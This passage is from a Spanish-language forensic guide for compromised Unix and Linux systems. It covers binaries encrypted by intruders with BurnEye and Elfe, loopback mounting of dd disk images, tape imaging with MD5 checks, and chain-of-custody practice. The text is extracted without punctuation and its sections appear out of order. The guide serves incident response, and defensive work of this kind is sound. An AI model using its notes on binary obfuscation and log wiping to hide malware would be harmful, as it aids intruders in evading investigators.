Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 9: Análisis Forense de Sistemas GNU/Linux, Unix

Ejemplo

[sonnethoractivalinkcom] truss -t open lsopen(devzero O_RDONLY) = 3open(usrliblibcso1 O_RDONLY) = 4open(usrliblibdlso1 O_RDONLY) = 4open(usrplatformSUNWSun_4_75liblibc_psrso1 O_RDONLY) Err2 ENOENT

---gt open(devptyr O_RDONLY) Err2 ENOENTopen( O_RDONLY|O_NDELAY) = 3[list of files]

Ver paacuteginas man de cada una de las utilidades para conocer sus funciones

4 Problemas con Recoleccioacuten de InformacioacutenUn sistema informaacutetico no soacutelo puede ser instruido para auto-destruirse una vez se produzcan las condiciones deriesgo consideradas por el intruso sino tambieacuten realizar tareas programadas de eliminacioacuten sustitucioacuten de ficheros yejecuciones de aplicaciones determinadas

Es muy frecuente encontrar los comandos de sistema moacutedulos de kernel cargables (LKM) libreriacuteas dinaacutemicas y etcmodificados o reemplazados por la voluntad del intruso Bajo estas circunstancias eso puede obligar a que el sistemaoperativo mintiese Examinando en este caso el estado del servidor todo aparenta estar en orden pero en realidadel sistema estaacute totalmente manipulado con cuatro cinco diez diferentes back-doors para permitir al hacker el faacutecilacceso al servidor en un futuro teniendo instalado un root kit [10]

Si no hay seguridad de que las utilidades comunes esteacuten mostrando la verdadera situacioacuten se debe utilizar aplicacionesalternativas Los moacutedulos de kernel cargables (LKM) o libreriacuteas dinaacutemicas pueden estar alteradas para proporcionarinformacioacuten falsa En estos casos se debe utilizar binarios compilados de forma estaacutetica desde un toolkit como FireBiatchux o descargados de la web de incident-responceorg

Se debe cuestionar permanentemente la informacioacuten que el servidor estaacute proporcionando Seriacutea aconsejable y muchomaacutes faacutecil y seguro si simplemente el disco duro fuese extraiacutedo de la maacutequina afectada y fuese montado en modo soacutelolectura en una estacioacuten de anaacutelisis similar al servidor atacado

Se debe tambieacuten considerar montar el disco como noexec y nodev para asegurarse que no pueda ser ejecutada ningunaaplicacioacuten desde el disco duro comprometido y que se ignoren los ficheros de dispositivos en el directorio dev Esmuy aconsejable estudiar bien la paacutegina man de la utilidad mount

Ejemplo

9

mount -o ronoexecnodev devhda1 t

Si no disponemos de un equipo dedicado para el anaacutelisis ni decidimos llevarlo por la viacutea oficial pero tenemos elintereacutes de conocer los detalles del ataque y el equipo tiene un CD-ROM existen herramientas forenses que permitenel estudio post-mortem en situ Un buen ejemplo de herramienta de este tipo es Fire-Biatchux [11] que permite tenerde forma instantaacutenea un entorno de anaacutelisis seguro proporcionando copias iacutentegras de todos los binarios necesariosde GNULinux y Solaris para llevar acabo la investigacioacuten La utilizacioacuten de esa teacutecnica de investigacioacuten forense saledel entorno de este documento y seraacute cubierta en los papers futuros

5 Almacenamiento de PruebasUna vez el disco ha sido sacado de la maacutequina debe ser almacenado de forma segura para poder ser utilizado comoprueba a posteriori en un juicio Si no se almacena de forma correcta no seraacute la primera vez que la investigacioacuten nopueda seguir o las pruebas se declaren nulas por parte de un juez o jurado por contaminacioacuten o tratamiento indebido

Es necesario tomar notas de lo que se hace con el disco duro y a que hora almacenaacutendolo en una ubicacioacuten seguracomo por ejemplo una caja fuerte Es recomendable que siempre que se trabaje con el medio original esteacute acompantildeadopor un colega para que conste a los efectos legales y su testimonio pueda ser confirmado por alguien con un nivel deconocimientos similar

Las copias deben ser hechas bit-por-bit es decir seraacute necesario hacer imaacutegenes del disco La investigacioacuten debe serllevada sobre una copia y nunca sobre el disco original Se debe hacer tres copias del disco duro original Sobre todaslas copias y original se debe llevar acabo una verificacioacuten criptograacutefica - un checksum MD5

Creacioacuten de imagenes es un meacutetodo de hacer copias exactas de particiones de disco duro La utilidad que nos permitellevarlo acabo es dd (ver la paacutegina man de la utilidad y el artiacuteculo de Thomas Rude [12]) Utilidades como tar y cpioestaacuten bien si la portabilidad es lo maacutes importante y dump y restore estaacuten perfectas para recuperar ficheros individualesen casos de que la consistencia de informacioacuten es lo maacutes importante

Por supuesto eacutestas utilidades tienen su sitio merecido pero a lo que se refiere al anaacutelisis forense lo maacutes importantees conservacioacuten de informacioacuten Las utilidades descritas anteriormente no le permiten conservar el espacio slack alfinal de los ficheros ni permiten conservar que es lo que exactamente conteniacutean los bloques de los ficheros eliminadosYa que los intrusos frecuentemente almacenan ficheros en el espacio slack de los archivos y borran de forma seguralos archivos logs una vez que hayan penetrado en el sistema para ocultar sus huellas

Todas las acciones realizadas durante el anaacutelisis deben ser documentadas detenidamente Es faacutecil hacerlo si se utilizael programa script el cual toma nota de toda la entrada y salida del shell Script marca la hora de iniciofin del log deeventos y usa el comando date varias veces durante la sesioacuten para guardar los tiempos intermedios

6 Preparacioacuten para el Anaacutelisis

10

Esteacute analizando el sistema con las herramientas forenses especiacuteficas o no se debe de seguir los mismos pasos baacutesicossiempre para prepararse para el anaacutelisis completo del sistema

bull En algunos casos es necesario fotografiar el equipo afectado antes de mover cualquier detalle del mismo Esopuede ser necesario como prueba del incidente en casos que posiblemente puedan acabar en una sala de juicio Enotros casos seraacute necesario documentar los detalles de todos los componentes del sistema como valores ID de losdispositivos SCSI por ejemplo y etc

bull Empezar haciendo apuntes detallados en el cuaderno Tener bien detallados apuntes con la fecha y hora del inicioy fin de cualquier trabajo realizado seraacute muy uacutetil durante y al final del anaacutelisis Es importante que todos loshechos pertinentes al caso durante la preparacioacuten recuperacioacuten y anaacutelisis de las pruebas sobre un ataque esteacutenperfectamente documentados Estas notas serviraacuten como base para poder desarrollar un informe detallado deincidencia que se debe preparar una vez terminado el anaacutelisis Este documento deberaacute servir como una prueba delincidente o ataque Siempre que se realiza cualquier apunte al cuaderno el asistente debe tener un

completo conocimiento y entendimiento de lo que ha sido apuntado

bull Antes de apagar el sistema seraacute uacutetil recoger algunos ejemplos de aquella informacioacuten que posiblemente no hasido cambiada por los intrusos como la organizacioacuten de sistema de ficheros de etcfstab el nombre del hostsu direccioacuten IP del fichero etchosts y informacioacuten de algunos dispositivos desde los ficheros varlogdmesg oficheros de log de sistema varlogmessages Esa informacioacuten normalmente va a caber en un disco 144 de formacomprimida con targz Si no quiere o no puede extraer esa informacioacuten en este paso en los siguientes pasos esoseraacute maacutes difiacutecil

Ejemplo

cd tar -cvzf devfd0 etchosts etcfstab varlogdmesg varlogmessagesetchostsetcfstabvarlogdmesgvarlogmessages

11

bull iexclHaga 3 imaacutegenes del disco duro entero y trabaje con copias y no con el original En el peor caso que tengaque trabajar con el disco original correriacutea el riesgo de hacer una pequentildea equivocacioacuten que eliminariacutea las huellasde forma parcial o total El original debe ser almacenado en una caja fuerte para estar totalmente seguros que elcontenido del dispositivo no esteacute alterado o eliminado Para ello generariacuteamos verificaciones de integridad MD5las imprimiremos en etiquetas y eacutestas las pegaremos en el original y en las copias La etiqueta del original debecontener la fecha y hora de extraccioacuten del disco del sistema comprometido y la fecha y hora de almacenamientodel disco en la caja fuerte Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo) Acontinuacioacuten estaacuten detalladas todas estas tareas

a El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada despueacutes Sedebe tener mucho cuidado para no dantildear el disco en caso de conflictos master-slave en el controlador IDE etc Espor ello que insistiacutea anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas es decir que esmuy conveniente tener un uacutenico disco duro conectado a la segunda interfaz IDE (si tiene conectado un CD-ROM enla segunda interfaz de IDE se debe quitar de forma temporal)

Puede ser que sea necesario modificar las opciones de deteccioacuten automaacutetica de la geometriacutea de discos en los ajustesBIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error)

b Las particiones del disco duro deben ser identificadas con el programa fdisk Nunca se debe utilizar fdisk en modointeractivo ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programai386 GNULinux modelado a partir de su equivalente de DOS)

Ejemplo

fdisk -l devhdd

Disk devhdd 255 heads 63 sectors 1575 cylindersUnits = cylinders of 16065 512 bytes

Device Boot Start End Blocks Id Systemdevhdd1 1 869 6980211 b Win95 FAT32devhdd2 870 1022 1228972+ 83 Linuxdevhdd3 1023 1035 104422+ 82 Linux swapdevhdd4 1036 1575 4337550 83 Linux

A partir de este listado podemos sacar una buena conclusioacuten que la particioacuten devhdd2 era particioacuten root y devhdd4era algo parecido a usr o home No puede decir cual de las dos es en este paso pero se puede ver el fichero salvadoetcfstab o alternativamente montarla particioacuten y examinar su contenido

12

En caso de que hayamos hecho una imagen de la particioacuten debemos restaurarla para su estudio posterior

c Se generan los checksums de integridad de particiones con MD5 del disco original y sus imaacutegenes para verificar sicoinciden

Nota Asumimos que tenemos un dispositivo de cinta en devst0 y el dispositivo non-rewind estaacute en devnst0El tamantildeo del bloque normalmente 512 bytes puede que no sea el valor maacutes eficaz para su dispositivo de cintasConsulte la documentacioacuten de su dispositivo y determine el factor oacuteptimo (frecuentemente entre 8198 y 32767)

Los siguientes ejemplos utilizaraacuten el valor por defecto para evitar complicaciones

El comando mt se utiliza para saltar volver atraacutes en un fichero para luego verificar su checksum MD5 Hay que estarseguro que se utiliza dispositivo non-rewind ya que a la hora de saltar de una imagen de fichero a otra podriacuteamossobrescribir informacioacuten sobre la cinta y perder informacioacuten Tambieacuten hay que asegurarse que no hacemos ninguacutenerror con paraacutemetros if= y of= - opciones del comando dd ya que podraacute destruir informacioacuten sobre el disco confacilidad (Ver man mt y man dd luego practique escribiendoleyendo muacuteltiples ficheros ade la cinta antes de hacercualquier accioacuten con los datos importantes)

Ejemplo

dateMon Jun 19 120022 PDT 2000

md5sum devhdd27b8af7b2224f0497da808414272e7af4 devhdd2

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (41010000)

BOT ONLINE IM_REP_EN

dd if=devhdd2 of=devnst02457944+0 records in2457944+0 records out

13

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

A la hora de verificar los MD5 del disco y de las cintas si al menos un uacutenico byte ha sido modificado a la hora derealizar la duplicacioacuten o backup el checksum no coincidiraacute Eso puede estar causado por un sector dantildeado en el discoduro o en la cinta puede que haya hecho una copia del sistema vivo (no montado read-only) o haya hecho la copiade una particioacuten incorrecta

Intente utilizar otra cinta Pruebe tambieacuten regenerar el MD5 checksum del discoparticioacuten Haga lo que haga no intentere-formatear analizar arreglar el disco original ya que todas esas acciones alteraraacuten la informacioacuten del disco

Puede ser que necesite servicios de una empresa especializada en recuperacioacuten de datos que puede migrar en tiemporeal los datos del disco y determinar que sector exactamente estaacute dantildeado y arreglarlo de forma segura Ojo siempreque entrega una cintadisco a las empresas de recuperacioacuten de datos aseguren la informacioacuten con una aseguradora porel valor aproximado de dantildeos causados Si es la cinta o el dispositivo de cinta que estaacute fallando pues se debe adquirirun dispositivocinta nuevoa ya que no podraacute seguir trabajando con hardware estropeado

d Si se estaacute guardando maacutes de una particioacuten en la cinta hay que asegurarse que se utiliza el dispositivo non-rewindpara cada particioacuten entonces se usa mt rewind o simplemente se saca la cinta lo que causaraacute que se rebobine Ahora escuando debe habilitar la proteccioacuten de escritura de la cinta ya que no queremos que de forma accidental se sobrescribala informacioacuten Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la proteccioacuten contraescritura estaacute funcionando correctamente utilizando el comando mt El siguiente ejemplo muestra el estado de unacinta protegida contra escritura posicionada en el punto BOT y el primer fichero estaacute marcado como 0

14

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

